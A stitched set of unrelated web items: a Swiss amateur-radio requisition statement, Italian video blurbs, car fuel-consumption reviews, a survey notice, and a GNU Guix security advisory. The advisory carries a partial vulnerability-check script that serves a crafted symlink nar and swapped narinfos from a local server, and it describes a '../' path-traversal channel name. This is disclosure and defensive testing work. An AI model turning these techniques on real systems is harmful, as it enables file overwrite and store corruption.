Aus diesem Grund hat die USKA im Rahmen der Vernehmlassung am 30. Juni 2026 eine Stellungnahme eingereicht. Die USKA fordert, dass Anlagen und Betriebsmittel des Amateurfunkdienstes inklusive der lizenzierten Betreiber/-innen explizit von der Requisition ausgenommen werden, sofern sie für die Not- und Krisenkommunikation vorgesehen sind.

Der Wert einer Funkstation entsteht nicht durch das Blechgehäuse. Erst das Zusammenspiel von Gerät, Antenne, Stromversorgung und der jahrelangen Erfahrung der Funkamateurinnen und Funkamateure bringt im Krisenfall den Nutzen. Ein requiriertes Gerät in den Händen eines ungeschulten Soldaten ist völlig nutzlos.

Eingespielte Infrastruktur

Demgegenüber garantieren wir eine dezentrale, eingespielte Infrastruktur. Wir betreiben in der Schweiz mehr als 250 Relais-Standorte auf Höhen wie dem Säntis, Pilatus oder Chasseral. Diese Netze funktionieren dank Notstromversorgung für mindestens drei Tage autark.

Die Behörden in den Kantonen und Gemeinden haben das verstanden. Es existieren bereits mehr als ein Dutzend Zusammenarbeitsvereinbarungen mit dem Zivilschutz oder den Feuerwehren.

Bund gefährdet Kommunikationssicherheit

Wenn der Bund diese Strukturen durch eine Requisition zerschlägt, gefährdet er die Kommunikationssicherheit der Schweiz. Unsere Funkgeräte laufen mit einfachen Batterien oder kleinen Solarpanels. Wir sind in der Lage, innert kürzester Zeit nach einem Totalausfall der kommerziellen Netze erste Kontakte aus einem Krisengebiet zu aktivieren.

USKA bietet Hand für Kooperation

Die USKA vertritt über 3000 der rund 5000 Funkamateure im Land. Wir bieten dem Bund Hand für eine Kooperation, fordern aber im Gegenzug den Schutz unserer technischen Ressourcen. Fakt ist: Der Amateurfunk hilft dem Land am meisten, wenn man ihn arbeiten lässt.

USKA Eingabe Vernehmlassung Requisition

Published: HB9HGH 2026-07-05 09:26:40

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Lo sviluppo interno e la gioia della creatività nel coding

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Rifletto su come lo sviluppo di tool interni sia sempre stata una parte molto creativa e gratificante del mio lavoro, nonostante non sia uno sviluppatore di formazione. Parlo di come l'uso dell'AI in questo processo mi abbia tolto quella sensazione di soddisfazione immediata e gioia che provavo prima.

0:00 Intro: il coding per necessità
0:16 Lo sviluppo interno creativo
0:35 La gioia della risoluzione iterativa
0:52 L'AI e la perdita della sensazione

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Toyota Aygo X, i consumi reali del Centro Prove Quattroruote

La nuova Toyota Aygo X&nbsp;è una citycar lunga 378 cm: con l'ultimo restyling è cresciuta di quasi 8 cm per far&nbsp;posto al powertrain full hybrid della Yaris, che sostituisce il &quot;vecchio&quot; tre cilindri a benzina. Si fa più moderno lo stile del frontale e si rinnova la dotazione tecnologica di bordo, anche per la sicurezza. L'abitacolo è rimasto invariato: lo spazio risente del design originale della carrozzeria, in particolare per chi siede dietro, che ha a disposizione pochi centimetri per la testa e finestrini a compasso. Modesta anche la capacità del bagagliaio: 196 litri misurati dal Centro prove, con una soglia di carico molto alta (81 cm da terra). Toyota Aygo X: il motore Il full hybrid da 116 CV della Aygo X prevede un 1.5 tre cilindri abbinato a due motori elettrici e una batteria agli ioni di litio, alloggiata sotto i sedili posteriori. Per il segmento delle citycar è una prima assoluta, che si apprezza soprattutto nei consumi, ma anche nelle prestazioni: lo scatto da ferma a 100 km/h scende da 14,9 a 9,2 secondi. Una bella differenza, nel traffico cittadino. Migliora anche il confort di bordo: dal momento che si viaggia spesso con l'unità termica spenta, il tre cilindri si fa vivo molto meno di prima.&nbsp; Toyota Aygo X: i consumi reali *Prezzo della benzina al 02/07/2026: 1,804 /litro Nella Prova su strada, pubblicata su Quattroruote di febbraio 2026, la Toyota Aygo X ha ottenuto 5 stelle su 5 alla voce consumi. Il passaggio alla motorizzazione full hybrid, rispetto alla precedente versione con il 3 cilindri 1.0 non elettrificato, ha portato a un miglioramento nei consumi del 28%: si viaggia spesso col termico spento (per il 30% del tempo in ambito urbano). Le percorrenze garantite da questa piccola citycar sono elevatissime in ogni condizione, meglio di qualunque altra rivale della classe. Toyota Aygo X: gamma e allestimenti La Toyota Aygo è disponibile in quattro allestimenti, da quello base con denominazione modello alla più aggressiva GR Sport, con dettagli sportivi (compresi i cerchi da 18&quot;) e regolazioni specifiche per sterzo, molle e ammortizzatori. Su tutte troviamo la telecamera posteriore, il freno di stazionamento elettrico, il climatizzatore automatico, la strumentazione digitale da 7&quot; e l'infotainment da 9&quot; con Apple CarPlay e Android Auto wireless. Con la Icon arrivano i sensori luci e pioggia, la ricarica a induzione e i cerchi di lega da 17&quot;. La Premium aggiunge il clima bizona, l'infotainment da 10,5&quot; con navigatore connesso e i cerchi da 18&quot;. Su richiesta, questo allestimento può avere il tetto in tela apribile elettricamente, nel Look Pack (1.850 euro). Di serie per tutta la gamma la suite Toyota Safety Sense, con la guida assistita di livello 2. Toyota Aygo X: i prezzi Toyota Aygo X Hybrid 115: 20.850 euroToyota Aygo X Hybrid 115 Icon: 23.350 euroToyota Aygo X Hybrid 115 Premium: 24.950 euroToyota Aygo X Hybrid 115 GR Sport: 25.950 euro Consumi reali, tutte le nostre prove autoAudi Q3 Sportback TDIDacia Duster Hybrid 155Fiat 500 HybridHonda Prelude 2.0 HEVHyundai Tucson 1.6 HEVRenault Clio E-TechToyota Aygo X 115 Hybrid
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Anthropic, export control e il dibattito sulla sicurezza dei modelli

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Un breve estratto di conversazione su Anthropic e le scelte controverse riguardo alla distribuzione di modelli IA. Si discute dell'export control applicato a Fable il 12 giugno e dei dubbi sulla vera motivazione dietro queste decisioni di sicurezza.

0:00 Anthropic e il modello pericoloso
0:16 Export control su Fable
0:43 Questione di interpretazione

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Indagine sulla qualità della vita degli over 65 a Vernio e aree limitrofe

Indagine sulla qualità della vita degli over 65 a Vernio e aree limitrofe

Il centro di ricerca ARCO di Fondazione PIN (Polo di Prato dell’Università degli Studi di Firenze), in stretta collaborazione con il Comune di Vernio e la Società della Salute Area Pratese, ha lanciato un'importante iniziativa dedicata al benessere della popolazione anziana del territorio. Si tratta di un questionario mirato a raccogliere le opinioni e le esperienze dirette dei cittadini con più di 65 anni residenti nel Comune di Vernio e nelle zone vicine.

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Indagine sulla qualità della vita degli over 65 a Vernio e aree limitrofe

Indagine sulla qualità della vita degli over 65 a Vernio e aree limitrofe

Il centro di ricerca ARCO di Fondazione PIN (Polo di Prato dell’Università degli Studi di Firenze), in stretta collaborazione con il Comune di Vernio e la Società della Salute Area Pratese, ha lanciato un'importante iniziativa dedicata al benessere della popolazione anziana del territorio. Si tratta di un questionario mirato a raccogliere le opinioni e le esperienze dirette dei cittadini con più di 65 anni residenti nel Comune di Vernio e nelle zone vicine.

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Consumi reali auto: tutti i rilevamenti del Centro prove di Quattroruote

Quando si sceglie un'auto, i consumi sono tra gli aspetti più importanti da valutare. L'aumento dei prezzi dei carburanti e il costo dell'energia rendono ancora più utile conoscere quanto consuma davvero ogni modello nell'utilizzo reale.In questa pagina trovate i consumi reali delle auto più richieste sul mercato, rilevati con la metodologia e gli strumenti del Centro prove di Quattroruote. Benzina, diesel, mild hybrid, full hybrid, plug-in hybrid ed elettriche: per ogni modello sono disponibili dati misurati per aiutare a confrontare le diverse soluzioni e scegliere l'auto più adatta alle proprie esigenze. Consumi reali: tutti i modelli testati dal Centro Prove di Quattroruote Dacia Duster Hybrid 155 Una delle SUV di maggior successo in Italia, spaziosa e pratica, con la motorizzazione più efficiente in gamma: nelle nostre prove, la percorrenza media rilevata è di 17,4 km/l. Toyota Aygo X Hybrid 115 La piccola citycar giapponese si è aggiornata, prendendo il powertrain full hybrid della sorella maggiore Yaris: rispetto al &quot;vecchio&quot; tre cilindri benzina, i consumi sono migliorati di quasi il 30%. La media rilevata dal Centro prove è di 21,7 km/l. Fiat 500 Hybrid La nuova serie del &quot;Cinquino&quot;, costruita sulla base della sorella elettrica, monta il 1.0 Firefly aspirato da 65 CV con impianto mild hybrid: rispetto al modello precedente i consumi sono un po' aumentati: la percorrenza media rilevata dal Centro prove è di 16 km/l contro 18,2. Renault Clio E-Tech La sesta serie della compatta francese cresce leggermente nelle dimensioni e guadagna una manciata di cavalli rispetto al modello precedente: brillante e agile da guidare, in città spunta comunque un'ottima percorrenza di 28,9 km/l (contro 30,7), e in autostrada arriva a 15,5 km/l (prima erano 13,6). Audi Q3 Sportback TDI Nella sua versione Sportback la terza serie della SUV tedesca mantiene le linee filanti che l'hanno sempre contraddistinta. Il 2.0 TDI incarna il giusto compromesso tra efficienza e prestazioni, specialmente nei viaggi lunghi: in autostrada percorre 14,8 chilometri con un litri di gasolio, più di 800 km con un solo pieno. Honda Prelude 2.0 HEV La sesta generazione della coupé giapponese ha tutte le carte in regola: non ha atout prestazionali, ma è capace di regalare&nbsp;un grande piacere di guida. Con consumi da citycar: più di 25 km/l in città, dove assicura un'autonomia di oltre mille km. In media, supera i 20 km/l. Hyundai Tucson 1.6 HEV La SUV coreana si distingue per il carattere nelle linee, mantenendo spazi, praticità e consumi da vera auto di famiglia. Buone le percorrenze assicurate dal powertrain full hybrid da 239 CV: quasi 18 km/l in città, dove l'autonomia supera i 900 km. In media, percorre 15,6 chilometri con un litro di benzina.
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AI Companies Losses: Which Ones Are Still Profitable?

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Quick look at how much money major AI companies are losing. I show a website called 'Is Still Profitable Yet' that tracks losses for Amazon, Alphabet, Microsoft, Meta, Oracle, OpenAI, and others, with surprising results about which ones are hemorrhaging cash the most.

0:00 AI company losses overview

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GNU Guix: ‘guix substitute’ and ‘guix pull’ Vulnerabilities

Several security issues (CVE IDs pending) have been identified in guix substitute, a helper utility invoked by guix-daemon, which enable a variety of harmful activities including remote privilege escalation to the build daemon user, remote store corruption, and potentially local disclosure of sensitive files accessible to the build daemon user. All systems are affected, whether or not guix-daemon is running with root privileges; the harm that can be done when guix-daemon runs without root privileges is more limited. You are strongly advised to upgrade your daemon now (see instructions below), carefully considering whether to pass --no-substitutes to all guix commands when you do so (see note in Upgrading section).

The remote exploitation of guix substitute only requires that the vulnerable system attempt to download a binary substitute. Any configured substitute server, including ones discovered using guix-daemon's --discover option, can exploit this, and so can a man-in-the-middle (MITM), regardless of whether https is used in the substitute server urls.

The local exploitation of guix substitute only requires the ability to connect to guix-daemon's socket, which by default any user can do.

Separately, another security issue (CVE ID pending) was identified in guix pull and guix time-machine, which enables anyone who can control the channels file used by these commands to cause a file to be created or overwritten wherever the user running the command in question has permission to create them. This is possible regardless of whether the channels file is evaluated in a sandbox and whether the channels used are limited to those sharing an introduction with a trusted channel. Due to limitations on the content of the created or overwritten file, this primarily represents a denial-of-service risk, though in theory it could do more.

Update 2026-07-06: if you are using the unprivileged guix-daemon, as is the default on distros other than Guix System since version 1.5.0, and if you updated it between July 2nd and July 5th, you've probably been affected by this regression preventing substitutes from working. It is now fixed, but if you are stuck trying to upgrade, try passing --no-substitutes. If you can't reasonably upgrade without substitutes, you can either take your chances downgrading to the vulnerable guix-daemon and using it or try tinystar's workaround (doesn't apply to Guix on distributions other than Guix System).

Vulnerabilities

Three distinct vulnerabilities have been identified affecting guix substitute, with a fourth affecting guix pull and guix time-machine:

  1. (CVE assignment pending) The procedure that Guile code uses to unpack substitutes, restore-file in (guix serialization), was not hardened against malicious input, but it was called to extract the substitute being downloaded as it was being downloaded, rather than waiting until after the entire archive had been obtained and its hash had been verified. These facts together make it possible for any substitute server (or any entity that can impersonate one) to write arbitrary files to any place on an affected system that the daemon user has permission to write to. In the case of the daemon running as root, that includes /etc/passwd.

    To avoid depending on the X.509 Public Key Infrastructure, the procedure that fetches metadata about available substitutes (called narinfos), fetch-narinfos, does not verify server certificates, since the canonical parts of narinfos need to be signed anyway to be considered valid. Unfortunately the substitute URL is not one such canonical part, and so it can be replaced with an attacker-controlled URL. If the substitute downloaded doesn't match the signed hash in the narinfo, it will be rejected, but by then it is too late: the substitute was extracted as it was being downloaded, so the damage is already done.

    This means that even though download-nar, the procedure responsible for actually downloading the substitute, does itself verify server certificates, using https in substitute server urls cannot limit who can exploit this, as the certificate only needs to be appropriate for the attacker-controlled URL.

    restore-file is also used by other utilities, including guix offload, guix archive --extract, and guix challenge. These can all be exploited in the same way if untrusted input is given to them.

  2. (CVE assignment pending) The procedure that fetches metadata about available substitutes (called narinfos), fetch-narinfos in (guix substitutes), does not verify that the narinfo it got is the one it asked for, nor do any of its callers in (guix scripts substitute). Consequently, it is possible for a substitute server (or anyone who can impersonate one) to trick guix substitute into using any store item for which there is an authorized substitute as a substitute for any other store item for which there is an authorized substitute. The complete extent of harm that can be caused by this depends in part on what store items an authorized substitute server has signed or can be convinced to sign, but at minimum this can be used to cause outdated and insecure versions of software to be used.

  3. (CVE assignment pending) The implementation of guix substitute in (guix scripts substitute) permits file:// URIs to be used both for specifying substitute server URIs (where to look for narinfos) and for specifying within narinfos where to download the corresponding archive from. It does not distinguish between --substitute-urls passed on the guix-daemon command line and --substitute-urls passed on the guix command line (client-side), with the latter taking precedence over the former. Opening of these file:// URIs follows symbolic links. Consequently, an untrusted client may cause any file that the daemon can read to be read. If a given line of it doesn't look like a valid narinfo line (it uses recutils format), guix substitute may throw an exception, causing a backtrace containing that line to be passed through to the client. So, for example, a file containing a single line containing only a secret passphrase may have its contents revealed to any local user if the daemon user can read it.

    Additionally, when a file:// URI is used as the URI of a nar to download, it may be written to the store if it happens to be a valid nar ("normalized archive") as used by Guix and Nix. This is unlikely, though.

    In addition to possibly causing secrets to be disclosed, this can also be used to interfere with the reading of any file being read by any process that the daemon user could trace, through the use of files in /proc/PID/fd.

  4. (CVE assignment pending) The procedure which guix pull and guix time-machine use to authenticate channels, authenticate-channel in (guix channels), passed a cache key derived from the channel name to authenticate-repository in (guix git-authenticate). This cache key was used to determine a filename for storing previously-authenticated commit IDs in. If the channel name was of the form "../../../../newfile", it could have caused "newfile" to be created in the user's home directory. It may also have overwritten "newfile" if it already existed, but only if it already looked like a Scheme-syntax list of strings, since the contents would have to have first been read and processed before new contents would have been written.

    In the event that a write is performed, the output will only include a Scheme-syntax comment, newline, and list of hexadecimal strings corresponding to git commit identifiers. This makes it difficult to use for a practical attack other than a denial-of-service, but note that since it can target files in /proc, a sufficiently creative and informed attacker may be able to exploit this further.

    Realistically, this vulnerability can only be exploited when fetching remote channel files with the newly-added mechanism for doing so.

Mitigation

Vulnerabilities (1) and (2) can be mitigated against remote attackers by not using substitutes, either by passing --no-substitutes to guix-daemon or passing --no-substitutes to all guix commands. It's always possible to turn substitutes back on for an individual client, though, so this doesn't work to defend against a local attacker exploiting (1), (2), or (3), which cannot be mitigated and must be fixed by updating. Vulnerability (4) can be mitigated by not running guix pull or guix time-machine with an untrusted channels file.

A test for the presence of these vulnerabilities is available at the end of this post. One can run this code with:

guix repl -- guix-substitute-and-pull-vuln-check.scm

This will finish with a sequence of 4 lines, beginning with restore-file, fetch-narinfos, file-uris, and cache-key respectively, each followed by a colon, a space, and either vulnerable or not vulnerable depending on whether the running guix-daemon has the indicated vulnerability or not. If all 4 lines contain not vulnerable, then guix repl will exit with status code 0, otherwise it will exit with status code 1.

Some of the tests can fail to produce a result in some cases. In this case the output following the test name will start with error:. A test that fails to produce a result should be regarded as inconclusive.

The restore-file and fetch-narinfos tests may fail to produce a result if no substitutes are authorized, or if no authorized substitutes for the current guix's cfunge, hello, or sed packages can be accessed through any of the configured substitute urls. The restore-file test may fail to produce a result if cfunge is reachable from some garbage collection root, such as a profile. The cache-key test may fail to produce a result if network access to codeberg to fetch a small portion of the history of the guix-science channel is not available, which can be worked around by editing the script's definition of guix-science-url to be any URL (or a filename) at which a copy of the guix-science repository can be found.

Fixes

These security issues have been fixed by a series of 11 commits, starting with ed0a9721f8a20d6ddcf6a0495302f502b3f7bb17 and ending with 2ef8ed9f0df53bddf14bdecc2ea48c2d233213cc as part of pull request #9665. Users should make sure they have upgraded to commit 897832f374dcdc9eeaf19d01e70b9a92fccfc68c or any later commit to be protected from these vulnerabilities. Upgrade instructions are in the following section.

Fixing vulnerability (1) involved hardening restore-file so that it detects and rejects invalid directory entry names. Specifically, entry names must be unique, in strictly ascending order, not empty, not equal to "." or "..", and not containing "/" or null bytes. Additionally, procedures currently used as the #:dump-file argument to restore-file were modified to insist on creating the target file afresh and never follow symbolic links.

The inspiration for that last change came from looking at the implementation of nar-parsing in parse in nix/libutil/archive.cc, where it was determined that that implementation was not vulnerable, but was about as close to vulnerable as it could get without actually being vulnerable, only barely being saved by the fact that the filesystem primitives used all refused to follow symbolic links or accept an existing target (see this commit message for details). To avoid wasting another 3 hours trying to determine this the next time anyone tries looking at it with a critical eye, that implementation was also rewritten to be stricter and more obviously secure. It is perhaps not surprising that the same code led to CVE-2024-45593 in Nix when it was modified to use more lax filesystem primitives from std::filesystem.

Fixing vulnerability (2) involved modifying fetch-narinfos to not include a result if it didn't match what was asked for.

Fixing vulnerability (3) involved modifying (guix scripts substitute) to verify that all substitute urls from untrusted sources are not file:// urls, and that all nar urls in narinfos are not file:// urls (except when a special flag is set, which is only done in the test suite).

Some additional hardening was also done, so that substitutes are restored inside a temporary directory and only moved to their final store item path once the hash is verified. This still restores them before verifying the hash, so it wouldn't have prevented (1), but it does ensure that attacker-controlled contents are not present at the path of what may have once been a valid store item (and may still be considered by some users or programs to be valid if they haven't taken note of a recent garbage collection). The narinfo-reading code was also modified to reject as invalid any narinfo file whose StorePath, References, or Deriver field contained a path that did not obey the store item path syntax requirements. A nice side-effect of this is that we now have procedures for verifying the syntax of store item paths.

Fixing vulnerability (4) involved changing how cache-key was computed by default for users of authenticate-repository. Rather than being derived from the name of the channel or (for guix git authenticate) the url of the repository, cache-key is now derived from the ID of the introductory commit, which is a very safe hexadecimal string. This also avoids some strange and potentially-dangerous behavior in which cached authenticated commit IDs could be shared between two channels that happen to share a name but are otherwise completely different. Additional hardening of authenticate-repository was added to turn all occurrences of . in cache-key into - so that even if non-default cache keys were provided, it would not be possible to escape the cache directory.

Upgrading

Due to the severity of this security advisory, we strongly recommend all users to upgrade guix and guix-daemon immediately.

Note: The astute reader may have noticed a dilemma: the fastest way to get updates is through substitutes, and the way to mitigate the most severe of the remotely-exploitable vulnerabilities is to disable substitutes. Whether to pass --no-substitutes is therefore a judgment call that must take into consideration how long it has been since these vulnerabilities were made public, how exposed the network paths between your system and your substitute servers are, how feasible it is for the system in question to build guix by itself (which will depend in part on how long it has been since you last upgraded), whether the system in question has multiple users, and of course, your threat model.

For Guix System, the procedure is to reconfigure the system after a guix pull, either restarting guix-daemon or rebooting. For example:

guix pull
sudo guix system reconfigure /run/current-system/configuration.scm
sudo herd restart guix-daemon

where /run/current-system/configuration.scm is the current system configuration but could, of course, be replaced by a system configuration file of a user's choice.

For Guix on another distribution, one needs to guix pull with sudo, as the guix-daemon runs as root, and restart the guix-daemon service, as documented. For example, on a system using systemd to manage services, run:

sudo --login guix pull
sudo systemctl restart guix-daemon.service

Note that for users with their distro's package of Guix (as opposed to having used the install script) you may need to take other steps or upgrade the Guix package as per other packages on your distro. Please consult the relevant documentation from your distro or contact the package maintainer for additional information or questions.

Timeline

  • May 28th, 2026. Jörg Thalheim of Nix shares the restore-file vulnerability with Christopher Baines and Andreas Enge; Christopher sends details to the Security Response Team.
  • June 4th, 2026. Andreas Enge notifies Caleb Ristvedt and Ludovic Courtès who start working on a fix.
  • June 10th, 2026. Caleb Ristvedt finds the file:// vulnerability of guix substitute.
  • June 22nd, 2026. Caleb Ristvedt finds the third vulnerability: that guix substitute did not verify whether the narinfo it is getting is the one it asked for.
  • June 24th, 2026. Following an issue reported by Sergio Pastor-Pérez, Ludovic Courtès identifies the pull and time-machine vulnerability and works on a fix. For the sake of convenience and because hints were available publicly, it was decided that it should be promptly fixed and disclosed at the same time as the other vulnerabilities.

Conclusion

We would like to thank Jörg Thalheim for sharing the restore-file vulnerability, Christopher Baines for verifying it and informing the Security Response Team, and Andreas Enge for ensuring that it reached Ludovic and Caleb and facilitating ongoing communication with Jörg.

We would also like to thank John Kehayias of the Security Response Team for coordination and for requesting CVE IDs.

Test for presence of vulnerability

Below is code to check if your guix-daemon is vulnerable to the first three vulnerabilities and your guix is vulnerable to the fourth. Save this file as guix-substitute-and-pull-vuln-check.scm and run following the instructions above, in "Mitigation."

(use-modules (git)
             (guix build utils)
             (guix derivations)
             (guix channels)
             (guix config)
             (guix gexp)
             (guix git)
             (guix narinfo)
             (guix packages)
             (guix pki)
             (guix utils)
             (guix serialization)
             (guix store)
             (guix substitutes)
             ((gnu packages base) #:hide (which))
             (gnu packages esolangs)
             (srfi srfi-1)
             (srfi srfi-26)
             (srfi srfi-31)
             (srfi srfi-34)
             (rnrs bytevectors)
             (ice-9 atomic)
             (ice-9 binary-ports)
             (ice-9 control)
             (ice-9 match)
             (ice-9 popen)
             (ice-9 rdelim)
             (ice-9 textual-ports)
             (ice-9 threads)
             (web response)
             (web request)
             (web uri)
             (web server)
             (web server http))

;; 1. restore-file

;; Craft an invalid nar, identify a substitutable path that doesn't exist (gc
;; if necessary), get its signed narinfo, start an http server, connect to
;; store, set substitute urls, ask to substitute the chosen path.  Have http
;; server serve the signed narinfo with the URLs replaced with its own.  When
;; the nar is requested, serve the invalid nar.  Once the substitution errors
;; out (hash doesn't match), check whether the chosen file now exists with the
;; specified contents.  We're vulnerable if and only if it does.

(define target-file
  "/tmp/guix-restore-file-vulnerable")

(define target-substitutable-package
  ;; pick something obscure but in the main guix channel, so it is either not
  ;; currently valid or can probably be gc'ed.  This is just to make the test
  ;; more reliable - in real exploitation, an attacker can sit around and wait
  ;; for any substitute request to be made, but here we need to provoke one in
  ;; a timely manner.
  cfunge)

(define substitute-servers
  (with-store store
    (substitute-urls store)))

;; Grafts can cause package->derivation to actually start substituting outputs
;; of the derivation being computed, which means we'd have to gc it afterward.
(%graft? #f)

(define (package->path+narinfo store package)
  (define path
    (derivation->output-path (run-with-store store (lower-object package))))

  (match (lookup-narinfos/diverse substitute-servers (list path)
                                  valid-narinfo?)
    ((info) (values path info))
    (() (values #f #f))))

(define (restore-file-vuln?)
  (define-values (target-path target-info)
    (call-with-values (lambda ()
                        (with-store store
                          
                          (package->path+narinfo store
                                                 target-substitutable-package)))
      (lambda (path info)
        (unless info
          (error "can't find substitutable path to test 'restore-file' with\n"))
        (with-store store
          (when (valid-path? store path)
            (when (null? (delete-paths store (list path)))
              (error "can't delete substitutable path to test 'restore-file' with\n"))))
        (values path info))))

  (define new-target-info-contents
    (let* ((contents (narinfo-contents target-info))
           (signature-index (string-contains contents "Signature:"))
           (after-signature-index (string-index contents #\newline
                                                signature-index))
           (signed-contents (string-take contents (or after-signature-index
                                                      (string-length
                                                       contents)))))
      (string-append signed-contents "
URL: example.nar
Compression: none
NarSize: 0\n")))

  ;; We can't delete target-file if it's owned by root, so overwrite it with
  ;; fresh, mostly-random contents each time, and check that the contents match.
  (define test-contents
    (format #f "VULNERABLE!~%~S:~S~%" (getpid) (random 100000000)))

  (define test-nar
    (call-with-output-bytevector
     (lambda (port)
       (for-each (lambda (s)
                   (write-string s port))
                 `("nix-archive-1"
                   "(" "type" "directory"
                   "entry" "(" "name" "a"
                   "node" "(" "type" "symlink"
                   "target" ,target-file ")" ")"
                   "entry" "(" "name" "a"
                   "node" "(" "type" "regular"
                   "contents" ,test-contents  ")" ")"
                   ")")))))

  (define bad-request
    (build-response #:code 400 #:reason-phrase "Unexpected request"))

  (define target-uri-path
    (string-append "/" (store-path-hash-part target-path) ".narinfo"))

  (define nar-uri-path "/example.nar")

  (define (handle request body)
    (cond
     ((not (eq? (request-method request) 'GET))
      (values bad-request ""))
     ((string=? (uri-path (request-uri request)) target-uri-path)
      (format (current-error-port)
              "Returning narinfo pointing to test nar~%")
      (values (build-response #:code 200)
              new-target-info-contents))
     ((string=? (uri-path (request-uri request)) nar-uri-path)
      (format (current-error-port) "Returning test nar~%")
      (values (build-response #:code 200)
              test-nar))
     (else
      (values bad-request ""))))

  (call-with-port (socket PF_INET SOCK_STREAM 0)
    (lambda (sock)
      (setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
      (bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
      (listen sock 5)
      (let* ((port-number (sockaddr:port (getsockname sock)))
             (substitute-url (string-append "http://localhost:"
                                            (number->string port-number)
                                            "/"))
             (server-thread (call-with-new-thread
                             (lambda ()
                               (run-server handle http
                                           `(#:socket ,sock))))))
        (with-store store
          (set-build-options store
                             #:substitute-urls (list substitute-url))
          (guard (c ((store-error? c)
                     ;; XXX doesn't actually cancel until something tries
                     ;; connecting
                     (cancel-thread server-thread)
                     ;;(join-thread server-thread)
                     (and (file-exists? target-file)
                          (string=? (call-with-input-file target-file
                                      get-string-all)
                                    test-contents))))
            (build-things store (list target-path))
            ;; If the substitution actually completes without throwing then we
            ;; are most definitely vulnerable, but not just in 'restore-path'.
            (error "!!!substitution of invalid nar completed???!!!")))))))



;; 2. fetch-narinfos

;; Identify two substitutable paths P1 and P2.  Get P1 and P2's signed
;; narinfos, start an http server, connect to store, set substitute urls, ask
;; whether P1 and P2 are substitutable.  Have http server serve P2's narinfo
;; when asked for P1's, and P1's when asked for P2's.  If vulnerable, it will
;; report that both are substitutable, if not, it will report that neither
;; are.

;; We need two substitutable paths because the daemon<-->'guix substitute
;; --query' interface verifies that the info it gets back is for a path that
;; was requested, so the "replacement" path has to also be queried for
;; substitutability at the same time.

(define (fetch-narinfos-vuln?)
  (define-values (hello-path hello-info)
    (with-store store (package->path+narinfo store hello)))

  (define-values (sed-path sed-info)
    (with-store store (package->path+narinfo store sed)))

  (define bad-request
    (build-response #:code 400 #:reason-phrase "Unexpected request"))

  (define hello-uri-path
    (string-append "/" (store-path-hash-part hello-path) ".narinfo"))

  (define sed-uri-path
    (string-append "/" (store-path-hash-part sed-path) ".narinfo"))

  (define (handle request body)
    (cond
     ((not (eq? (request-method request) 'GET))
      (values bad-request ""))
     ((string=? (uri-path (request-uri request)) hello-uri-path)
      (format (current-error-port) "Returning sed when asked for hello~%")
      ;; Return the wrong result
      (values (build-response #:code 200)
              (narinfo-contents sed-info)))
     ((string=? (uri-path (request-uri request)) sed-uri-path)
      (format (current-error-port) "Returning hello when asked for sed~%")
      ;; Return the wrong result
      (values (build-response #:code 200)
              (narinfo-contents hello-info)))
     (else
      (values bad-request ""))))

  (unless (and hello-info sed-info)
    (error "can't find substitutable paths to test 'fetch-narinfos' with"))

  (call-with-port (socket PF_INET SOCK_STREAM 0)
    (lambda (sock)
      (setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
      (bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
      (listen sock 5)
      (let* ((port-number (sockaddr:port (getsockname sock)))
             (substitute-url (string-append "http://localhost:"
                                            (number->string port-number)
                                            "/"))
             (server-thread (call-with-new-thread
                             (lambda ()
                               (run-server handle http
                                           `(#:socket ,sock))))))
        (with-store store
          (set-build-options store
                             #:substitute-urls (list substitute-url))
          (let ((substitutables
                 (substitutable-paths store (list hello-path sed-path))))
            ;; XXX doesn't actually cancel until something tries connecting
            (cancel-thread server-thread)
            ;;(join-thread server-thread)
            (not (null? substitutables))))))))

;; 3. file-uris

;; Create a fifo whose name is 32 nix-base32 characters followed by
;; ".narinfo", connect to store, set substitute urls to point to containing
;; directory, spawn a thread to block trying to open fifo write-only which
;; will subsequently set a flag and close the port, then ask whether some
;; store path with that hash is substitutable.  It should fail in all cases.
;; Check whether the flag is set; if so, we're vulnerable, otherwise we're
;; not.

(define (file-uris-vuln?)
  (call-with-temporary-directory
   (lambda (directory)
     (define testfifo
       (string-append directory "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.narinfo"))
     (define opened? (make-atomic-box #f))
     (define store-item
       (string-append (%store-prefix) "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-foo"))

     (define open-thread
       (begin
         (mknod testfifo 'fifo #o744 0)
         (call-with-new-thread
          (lambda ()
            (call-with-port (open testfifo O_WRONLY)
              (lambda (port)
                (atomic-box-set! opened? #t))))))) 

     (with-store store
       (set-build-options store
                          #:substitute-urls (list (string-append "file://" directory)))
       (guard (c ((store-error? c)
                  (cancel-thread open-thread)
                  (delete-file testfifo)
                  ;; even though the file it is trying to open no longer
                  ;; exists, the kernel doesn't give a result to open-thread
                  ;; until someone ptraces it (or maybe sends a signal or
                  ;; something).
                  ;; (join-thread open-thread)
                  (atomic-box-ref opened?)))
         (substitutable-paths store (list store-item))
         (error "not supposed to get here!\n"))))))

;; 4. cache-key

;; Create a barebones git repository that is a valid channel, create a
;; <channel> that references it using a malformed name, set XDG_CACHE_HOME to
;; a directory inside a temporary directory (so that 'cache-directory' points
;; to a subdirectory of it), call authenticate-channel, see if a file outside
;; of XDG_CACHE_HOME gets created.

;; If you don't have Internet access, edit this to point to a local repository
;; containing at least commit 5a2d9baeda971df575c017669bca8eb8faa22ebd and its
;; ancestors, and the keyring branch.
(define guix-science-url
  "https://codeberg.org/guix-science/guix-science.git")

(define (create-test-channel directory channel-name)
  "Populate REPOSITORY with the necessary contents for it to be a valid
channel with 2 commits, then return three values: a <channel> for it with name
CHANNEL-NAME and an introduction to the first commit, the first commit, and
the second commit."
  (define intro-commit
    "b1fe5aaff3ab48e798a4cce02f0212bc91f423dc")

  (define end-commit ;; The commit following intro-commit
    "5a2d9baeda971df575c017669bca8eb8faa22ebd")

  (define fingerprint
    "CA4F 8CF4 37D7 478F DA05  5FD4 4213 7701 1A37 8446")

  (define git %git) ;; From (guix config), guix has a hard dependency on git

  (with-directory-excursion directory
    (invoke git "init"
            ;; Silence warning
            "--initial-branch=main")
    (invoke git "remote" "add" "--" "origin" guix-science-url)
    (invoke git "fetch" "--" "origin" end-commit)
    (invoke git "checkout" "FETCH_HEAD")
    (invoke git "fetch" "--" "origin" "refs/heads/keyring:keyring")
    (values
     (channel
       (name channel-name)
       (url (canonicalize-path directory))
       (introduction (make-channel-introduction
                      intro-commit
                      (openpgp-fingerprint fingerprint))))
